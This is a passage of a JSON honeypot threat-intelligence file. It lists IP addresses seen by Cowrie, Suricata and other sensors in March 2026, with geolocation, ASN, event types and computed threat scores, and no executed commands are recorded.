        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Bern",
      "asn": 211507,
      "as_org": "Julian Achter",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.3,
        "persistence": 5.8,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 7,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-04T16:48:45.995000+00:00",
        "last_seen_30d": "2026-03-10T23:43:29.262000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 11,
        "Ciscoasa": 9,
        "H0neytr4p": 7,
        "Cowrie": 5,
        "Tanner": 1
      }
    },
    "118.122.147.49": {
      "attack_count": 4,
      "first_seen": "2026-03-22T21:05:40.783Z",
      "last_seen": "2026-03-22T21:07:40.885Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38283,
      "as_org": "CHINANET SiChuan Telecom Internet Data Center",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T21:05:40.783000+00:00",
        "last_seen_30d": "2026-03-22T21:17:50.501000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "134.199.171.191": {
      "attack_count": 4,
      "first_seen": "2026-03-15T18:52:36.334Z",
      "last_seen": "2026-03-16T03:36:08.155Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T18:52:36.334000+00:00",
        "last_seen_30d": "2026-03-17T16:06:10.808000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4
      }
    },
    "172.236.35.120": {
      "attack_count": 4,
      "first_seen": "2026-03-14T14:28:06.177Z",
      "last_seen": "2026-03-14T14:28:22.196Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 2876,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-14T14:27:47+00:00",
        "last_seen_30d": "2026-03-14T14:38:08.829000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1522,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "198.235.24.192": {
      "attack_count": 4,
      "first_seen": "2026-03-31T22:07:47.547Z",
      "last_seen": "2026-03-31T22:07:51.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T04:25:53+00:00",
        "last_seen_30d": "2026-03-31T22:08:51.474000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Dicompot": 1,
        "Sentrypeer": 1
      }
    },
    "205.210.31.107": {
      "attack_count": 4,
      "first_seen": "2026-03-30T22:41:04.610Z",
      "last_seen": "2026-03-30T22:41:07.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T13:35:33+00:00",
        "last_seen_30d": "2026-03-31T19:28:56.455000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 29,
        "Cowrie": 4,
        "Redishoneypot": 3
      }
    },
    "205.210.31.240": {
      "attack_count": 4,
      "first_seen": "2026-03-23T11:04:59.104Z",
      "last_seen": "2026-03-23T11:05:02.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T10:23:52+00:00",
        "last_seen_30d": "2026-03-31T03:19:33.869000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 21,
        "Mailoney": 5,
        "Cowrie": 4
      }
    },
    "64.62.197.162": {
      "attack_count": 4,
      "first_seen": "2026-03-07T05:31:45.278Z",
      "last_seen": "2026-03-07T05:31:49.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 70.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 29,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T03:20:20+00:00",
        "last_seen_30d": "2026-03-30T14:30:17.298000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "154.221.23.136": {
      "attack_count": 3,
      "first_seen": "2026-03-30T12:20:34.667Z",
      "last_seen": "2026-03-30T12:22:34.671Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 142403,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 22.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T12:20:34.667000+00:00",
        "last_seen_30d": "2026-03-30T12:23:37.990000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3
      }
    },
    "159.223.0.20": {
      "attack_count": 3,
      "first_seen": "2026-03-03T09:50:19.776Z",
      "last_seen": "2026-03-03T09:50:20.110Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.8,
        "persistence": 19.2,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 23,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T09:50:19.776000+00:00",
        "last_seen_30d": "2026-03-25T05:25:42.480000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 3,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "47.250.122.222": {
      "attack_count": 3,
      "first_seen": "2026-03-04T22:44:01.470Z",
      "last_seen": "2026-03-04T22:45:04.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 9.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 11,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T22:44:01.470000+00:00",
        "last_seen_30d": "2026-03-14T00:06:51.482000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 4,
        "Cowrie": 3
      }
    },
    "47.85.27.112": {
      "attack_count": 3,
      "first_seen": "2026-03-17T06:46:44.978Z",
      "last_seen": "2026-03-17T06:47:46.279Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T06:46:44.978000+00:00",
        "last_seen_30d": "2026-03-17T06:48:51.718000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "64.62.156.52": {
      "attack_count": 3,
      "first_seen": "2026-03-06T01:29:20.115Z",
      "last_seen": "2026-03-06T01:29:20.116Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T02:56:47+00:00",
        "last_seen_30d": "2026-03-31T14:59:04.370000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 188,
        "Honeytrap": 83,
        "Miniprint": 9,
        "Dionaea": 8,
        "Mailoney": 6,
        "Cowrie": 3,
        "ElasticPot": 1
      }
    },
    "103.144.87.87": {
      "attack_count": 2,
      "first_seen": "2026-03-30T12:50:55.600Z",
      "last_seen": "2026-03-30T12:51:26.103Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135932,
      "as_org": "Viet Storage Technology Joint Stock Company",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T12:50:55.600000+00:00",
        "last_seen_30d": "2026-03-30T12:52:30.922000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.219.45.199": {
      "attack_count": 2,
      "first_seen": "2026-03-26T22:43:21.260Z",
      "last_seen": "2026-03-26T22:43:34.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kolkata",
      "asn": 45775,
      "as_org": "WISH NET PRIVATE LIMITED",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T22:43:21.260000+00:00",
        "last_seen_30d": "2026-03-26T22:44:37.047000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.247.253.81": {
      "attack_count": 2,
      "first_seen": "2026-03-19T01:32:27.603Z",
      "last_seen": "2026-03-19T01:32:41.313Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kannur",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T01:32:27.603000+00:00",
        "last_seen_30d": "2026-03-19T01:33:45.849000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.251.207.153": {
      "attack_count": 2,
      "first_seen": "2026-03-29T15:46:32.198Z",
      "last_seen": "2026-03-29T15:46:45.919Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T15:46:32.198000+00:00",
        "last_seen_30d": "2026-03-29T15:47:50.874000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.253.165.130": {
      "attack_count": 2,
      "first_seen": "2026-03-04T12:07:23.332Z",
      "last_seen": "2026-03-04T12:07:36.470Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Safidon",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:07:23.332000+00:00",
        "last_seen_30d": "2026-03-04T12:08:46.149000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.228.162.132": {
      "attack_count": 2,
      "first_seen": "2026-03-08T19:29:44.747Z",
      "last_seen": "2026-03-08T19:29:57.824Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T19:29:44.747000+00:00",
        "last_seen_30d": "2026-03-08T19:31:07.189000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.150": {
      "attack_count": 2,
      "first_seen": "2026-03-19T00:57:39.466Z",
      "last_seen": "2026-03-19T00:57:49.247Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T04:23:22+00:00",
        "last_seen_30d": "2026-03-31T20:57:41.934000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 37,
        "Cowrie": 2,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "151.67.120.89": {
      "attack_count": 2,
      "first_seen": "2026-03-12T05:47:39.362Z",
      "last_seen": "2026-03-12T05:47:53.336Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Bologna",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T05:47:39.362000+00:00",
        "last_seen_30d": "2026-03-12T05:48:58.965000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "166.147.159.101": {
      "attack_count": 2,
      "first_seen": "2026-03-12T09:42:44.249Z",
      "last_seen": "2026-03-12T09:42:49.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Belmont",
      "asn": 6167,
      "as_org": "Verizon Business",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:42:44.249000+00:00",
        "last_seen_30d": "2026-03-12T09:43:54.829000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "182.152.162.232": {
      "attack_count": 2,
      "first_seen": "2026-03-19T14:07:54.687Z",
      "last_seen": "2026-03-19T14:08:07.971Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 17924,
      "as_org": "SmarTone Mobile Communications Ltd",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T14:07:54.687000+00:00",
        "last_seen_30d": "2026-03-19T14:09:15.240000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.167.5.48": {
      "attack_count": 2,
      "first_seen": "2026-03-21T10:24:38.409Z",
      "last_seen": "2026-03-21T10:24:51.920Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tlaxcala City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T10:24:38.409000+00:00",
        "last_seen_30d": "2026-03-21T10:25:57.988000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.216.132.50": {
      "attack_count": 2,
      "first_seen": "2026-03-28T10:51:53.690Z",
      "last_seen": "2026-03-28T10:52:06.453Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 272953,
      "as_org": "HS NETWORKS SAS",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:51:53.690000+00:00",
        "last_seen_30d": "2026-03-28T10:53:09.422000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.208": {
      "attack_count": 2,
      "first_seen": "2026-03-09T03:05:52.362Z",
      "last_seen": "2026-03-09T03:05:52.808Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:31:49+00:00",
        "last_seen_30d": "2026-03-31T06:54:27.222000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 26,
        "ConPot": 2,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "205.210.31.95": {
      "attack_count": 2,
      "first_seen": "2026-03-08T03:45:04.563Z",
      "last_seen": "2026-03-08T03:45:14.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T07:50:03+00:00",
        "last_seen_30d": "2026-03-31T21:20:25.829000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 35,
        "ConPot": 19,
        "Miniprint": 10,
        "Cowrie": 2,
        "Sentrypeer": 1
      }
    },
    "216.218.206.68": {
      "attack_count": 2,
      "first_seen": "2026-03-04T13:13:53.576Z",
      "last_seen": "2026-03-04T13:13:55.722Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 395,
        "days_active_30d": 30,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-03-02T00:18:08+00:00",
        "last_seen_30d": "2026-03-31T03:40:34.997000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 240,
